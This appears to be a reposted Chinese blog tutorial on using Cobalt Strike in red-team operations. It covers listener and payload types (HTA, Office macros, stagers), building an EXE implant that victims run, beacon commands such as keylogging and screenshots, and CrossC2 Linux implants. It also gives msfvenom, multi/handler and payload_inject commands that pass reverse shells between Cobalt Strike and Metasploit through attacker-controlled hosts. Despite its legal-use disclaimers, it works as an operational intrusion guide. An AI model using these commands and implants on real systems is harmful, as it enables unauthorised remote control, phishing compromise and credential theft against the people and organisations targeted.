文章总结: 文档详述CobaltStrike红队应用,包括环境配置、监听器与Payload生成。解析HTA、宏等载荷特性及后渗透的Beacon操作与进程迁移。同时介绍利用CrossC2上线Linux及CS与MSF会话互传技巧,为安全人员提供全面的渗透测试实战指南。 综合评分: 90 文章分类: 渗透测试,红队,内网渗透,实战经验,安全工具
渗透高手必看:Cobalt Strike在红队行动中的应用技巧
原创
沐青序 沐青序
数字序言
2026年1月28日 07:31 福建
免责声明:本公众号内容仅供网络安全技术学习与合法研究,严禁用于非法用途。使用者须遵守法律法规,因非法使用造成的全部后果自行承担。本公众号及作者不对内容准确性作保证,不承担因此产生的任何损失。如涉及侵权,烦请告知,核实后将立即处理。感谢理解。
CS简单介绍
Cobalt Strike 是一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟AP模拟对抗,进行内网渗透。
java环境设置
使用kali默认的java版本即可/usr/lib/jvm/java-17-openjdk-amd64/bin/java
sudo update-alternatives --config java
# 需要安装其他版本可以使用以下命令
sudo apt install openjdk-8-jdk
# 学会用ai
服务端&客户端启动
注意需要给相应的文件权限
sudo ./teamserver 192.168.126.201 carmi@123
sudo ./start.sh
监听器说明
Listeners模块的所有Payload
windows/beacon_dns/reverse_dns_txt 使用DNS中的TXT类型进行数据传输
windows/beacon_dns/reverse_http 采用DNS的方式对目标主机进行管理
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https 采用SSL进行加密,有较高的隐蔽性
windows/beacon_smb/bind_pipe 只用于x64本地主机,使用 SMB 命名管道本地通信,适合内网横向
windows/foreign/reverse_http foreign自定义兼容性通信
windows/foreign/reverse_https
windows/foreign/reverse_tcp
模块介绍
Payloads介绍
1. HTML Application (HTA)
是什么:基于 .hta 文件(HTML Application)的恶意脚本,结合 VBScript/JavaScript。
作用:通过 IE 浏览器运行,执行任意命令。
使用场景:社会工程学攻击(钓鱼邮件、Web 诱导),如让用户点击下载并运行 HTA 文件。
优点:在旧版 Windows 和 IE 中默认允许执行,兼容性好。
2. MS Office Macro
是什么:嵌入在 Word、Excel 等 Office 文件中的 VBA 宏代码。
作用:用户打开文件并启用宏后,自动执行命令(如下载 payload)。
使用场景:鱼叉式钓鱼攻击中最常见的载体之一。
优点:社会工程学伪装性强,触发简单。
3. Stager Payload Generator
是什么:生成一个小型的初始 payload(称为 Stager),用于从攻击者服务器下载并执行真正的主载荷(Stage)。
作用:减小初始 payload 体积,绕过杀软检测。
使用场景:适合需要远程控制连接、Beacon 通信的环境,如内网持久化。
缺点:需要稳定的网络连接。
4. Stageless Payload Generator
是什么:一次性生成完整 payload,不需要后续从远程下载其他代码。
作用:直接在内存中执行,独立完成连接与执行逻辑。
使用场景:目标机器出网受限或流量监控严格时使用,适合打点、定向攻击。
优点:不依赖网络,执行更隐蔽。
5. Windows Stager Payload
是什么:为 Windows 系统定制的 Stager 类型 payload。
作用:初始感染后,连接 C2 下载主 payload。
使用场景:用于横向移动或初始打点,结合 Empire/MSF 中的监听器。
6. Windows Stageless Payload
是什么:为 Windows 定制的一体化 Payload,不依赖远程加载。
作用:适合不能访问外部网络的目标。
使用场景:红队攻防演练中用于执行一次性任务(如添加用户、执行命令、回传信息)。
7. Windows Stageless Generate All Payloads
是什么:一次性生成多种 Windows 平台可用的 Stageless Payload(可能包括 EXE、DLL、BAT、PS1、JS 等格式)。
作用:为不同攻击载体预生成所有可能使用的 payload 类型。
使用场景:准备阶段或自动化批量攻击中常用,便于快速选择最合适的方式。
| 类型 | 网络依赖 | 文件大小 | 场景适用性 | 常见用途 | | — | — | — | — | — | | HTA | 无 | 小 | 社工攻击 | 钓鱼邮件 | | Office 宏 | 可选 | 小 | 社工攻击 | 钓鱼攻击 | | Stager | 是 | 小 | 可联网目标 | 后门、持久化 | | Stageless | 否 | 大 | 无网络限制 | 初始打点、离线执行 | | Windows Stager/Stageless | 看名字 | 看名字 | 针对 Windows 平台 | 内网攻击 | | Generate All | 否 | 多格式 | 自动化批处理 | 攻击准备阶段 |
一次攻击
设置监听器
Cobalt Strike → 监听器 → Add → 设置http监听器
生成EXE木马
有效载荷 → Windows可执行程序(E) → Windows Executable
执行上线
受害者主机下载木马 → 点击直接上线
后渗透
心跳时间
默认是60秒,有两种方式能修改
- 右键shell → 进入 beacon → 输入 sleep + 时间
- 右键shell → 会话 → sleep → 设置时间
Beacon介绍
Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。可以理解为msf的meterpreter。
我们在右键shell的时候,展示的菜单就是Beacon功能的默认图形化页面
进程迁移
右键shell → 凭证提取 → 新建会话 → 选中监听器 → Choose
最基础的执行系统命令
beacon> shell + 系统命令
beacon> shell dir
beacon> shell ps
beacon> shell systeminfo
beacon> getuid
屏幕截图
beacon> screenshot # 右键shell → 屏幕截图
查看:视图 → 屏幕截图
键盘记录
beacon> keylogger
查看:试图 → 键盘记录
插件
Cobalt Strike → 脚本管理器 → Load → *.cna文件
CS上线Linux设备
1、下载和配置CrossC2
首先到项目地址:https://github.com/gloxec/CrossC2/releases下载两个文件
后缀为.cna的为cs的插件文件,启动cs后导入即可
2、配置HTTPS监听
Linux的shell目前只支持https,注意配置
3、生成Linux终端下的shell
第一种方法
将第二个文件放入cs目录下之后,运行如下命令:
./genCrossC2.Linux 47.100.16.83 443 .cobaltstrike.beacon_keys null Linux x64 /tmp/bktest
/genCrossC2.Linux:就是我们在github下载的文件。.cobaltstrike.beacon_keys:是cs的证书文件,默认在cs目录下,注意是隐藏文件用ls -a命令可查看。
最后会生成到/tmp目录下,名为bktest
第二种方法
直接用crossc2直接生成,但是由于版本的多样性,这种方法并不一定会成功。建议采用第一种!
4、上线
可以正常执行命令
CS与MSF互信传递shell
CS to MSF
1、MSF创建监听器
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_http
msf6 > set lhost msf公网地址
msf6 > set lport msf公网端口
msf6 > show options
msf6 > run
2、CS创建Foreign HTTP的监听器
Cobalt Strike → 监听器
payload:Foreign HTTP Foreign:Foreign beacon主要用于将cobalt strike的beacon shell派生到MSF上
HTTP Host(Stager):msf公网地址
HTTP Port(Stager):msf公网端口
3、CS新建会话
CS右击shell,选择Foreign HTTP的监听器,点击Choose
4、MSF上线
MSF to CS
1、MSF上线木马
sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.201 lport=2222 -f exe -o /home/kali/Desktop/xx.exe
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.126.201
msf6 exploit(multi/handler) > set lport 2222
msf6 exploit(multi/handler) > run
2、CS设置常规监听器
3、MSF设置监听器
msf6 exploit(multi/handler) > search payload_inject
msf6 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set lhost cs公网地址
msf6 exploit(windows/local/payload_inject) > set lport cs公网端口
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true
msf6 exploit(windows/local/payload_inject) > set PrependMigrate True(可选)
msf6 exploit(windows/local/payload_inject) > set session ID 设置需要传输的session
msf6 exploit(windows/local/payload_inject) > run
# 解释
1、设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。
2、设置 PrependMigrate 为 True,此选项让 Metasploit Framework 前置 shellcode 在另一个进程中运行 payload stager,如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:数字序言 沐青序 沐青序《渗透高手必看:Cobalt Strike在红队行动中的应用技巧》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论